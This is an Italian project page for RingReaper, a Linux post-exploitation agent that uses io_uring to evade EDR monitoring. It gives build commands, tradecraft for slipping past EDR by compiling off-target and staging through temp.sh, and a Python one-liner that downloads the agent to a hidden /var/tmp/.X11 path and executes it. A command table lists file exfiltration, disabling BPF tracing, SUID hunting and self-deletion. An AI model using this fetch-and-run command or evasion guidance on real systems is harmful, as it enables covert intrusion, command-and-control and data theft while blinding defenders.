
Agente Linux post-exploitation che utilizza io_uring per aggirare furtivamente il rilevamento EDR evitando le syscall tradizionali.
RingReaper è un agente di post-esplorazione per Linux progettato per chi ha bisogno di operare in modo stealth, riducendo al minimo le possibilità di essere rilevato da soluzioni EDR. L'idea alla base di questo progetto era sfruttare io_uring, la nuova interfaccia I/O asincrona del kernel Linux, in particolare per evitare le chiamate di sistema tradizionali che la maggior parte degli EDR tende a monitorare o addirittura a hookare.
In pratica, RingReaper sostituisce chiamate come read, write, recv, send, connect, tra le altre, con operazioni I/O asincrone (io_uring_prep_*), riducendo l'esposizione a hook e tracing di eventi tipicamente raccolti in modo standardizzato dai prodotti di sicurezza.
NOTA: Alcune funzioni all'interno di RingReaper fanno ancora affidamento su chiamate tradizionali, come la lettura delle directory (
opendir,readdir) o la risoluzione dei link simbolici (readlink), perché io_uring non supporta ancora completamente questo tipo di operazioni in modo nativo. Anche così, durante i miei test, queste chiamate non hanno attivato allarmi sugli EDR testati, proprio perché esulano dai percorsi di I/O di rete monitorati.
In sintesi, RingReaper è stato costruito per evitare il più possibile le chiamate tradizionali, e anche nei casi in cui ha dovuto utilizzarle, ha dimostrato un'ottima capacità di evasione, senza allarmi o rilevamenti da parte dei comuni agenti di sicurezza.
Vedi l'articolo completo e dettagliato su:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Autore: https://www.linkedin.com/in/mathsalves/
Rootkit Researchers
In RingReaper, tutto il traffico dati, inclusi i comandi di controllo, i caricamenti e i download, deve passare attraverso io_uring. Ciò garantisce anche che le operazioni più sensibili rimangano fuori dal raggio d'azione degli hook e del monitoraggio EDR basato sulle chiamate tradizionali.
RingReaper è stato progettato da zero per bypassare il monitoraggio EDR. Molte soluzioni di sicurezza basano i loro trigger di rilevamento sull'intercettazione delle syscall classiche (read, recv, send, connect) a livello di kernel. Poiché io_uring è relativamente nuovo e meno integrato nella pipeline di telemetria di questi prodotti, spesso passa inosservato alla maggior parte degli agenti, consentendo sessioni C2 ed esfiltrazione di dati senza attivare allarmi.
Anche le funzioni che fanno ancora affidamento su syscall più vecchie (come la lettura delle directory) sono rimaste abbastanza discrete da non sollevare sospetti.
liburingTestato SOLAMENTE sulle seguenti versioni del kernel:
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
Nei test, ho notato che l'EDR rilevava la compilazione di agent.c monitorando l'uso di GCC in tempo reale (è meglio non usare wget/curl). Per bypassare questo, ho compilato l'agente staticamente sulla mia macchina, ho inviato il binario finito tramite temp.sh e ho usato Python sul target per scaricarlo ed eseguirlo. Questa tecnica ha funzionato senza destare sospetti.
Server (macchina dell'attaccante):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Agente (macchina target):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Versione 2.0:
Sentiti libero di inviare pull request e contribuire al progetto. Se riscontri errori con RingReaper, crea una issue e segnalacelo.
Questo codice è stato sviluppato esclusivamente per scopi educativi, di ricerca e dimostrazioni controllate di tecniche di evasione. Qualsiasi utilizzo al di fuori di ambienti autorizzati, o per scopi malevoli, è severamente vietato ed è interamente responsabilità dell'utente. L'uso non autorizzato o illegale può violare leggi locali, nazionali o internazionali.
| Comando | Descrizione | Backend |
|---|
get | Scarica file dal target | 100% io_uring |
put | Carica file (usa recv lato agente) | 100% io_uring |
killbpf | Disabilita il tracing, rimuove i file /sys/fs/bpf e termina i processi che usano bpf-map | chiamate tradizionali + io_uring |
users | Elenca gli utenti con sessione attiva leggendo utmp | 100% io_uring |
ss / netstat | Elenca le connessioni TCP da /proc/net/tcp | 100% io_uring |
privesc | Cerca binari SUID usando statx | 100% io_uring |
ps | Elenca i processi (usa opendir, readdir) | chiamate tradizionali + io_uring |
kick | Termina sessioni pts (usa opendir, readdir, kill, readlink) | chiamate tradizionali + io_uring |
me | Mostra PID/TTY (getpid, ttyname) | chiamate tradizionali + io_uring |
selfdestruct | Elimina il binario corrente (usa readlink) | chiamate tradizionali + io_uring |
exit | Termina la connessione ed esci | 100% io_uring |
help | Mostra l'aiuto | 100% io_uring |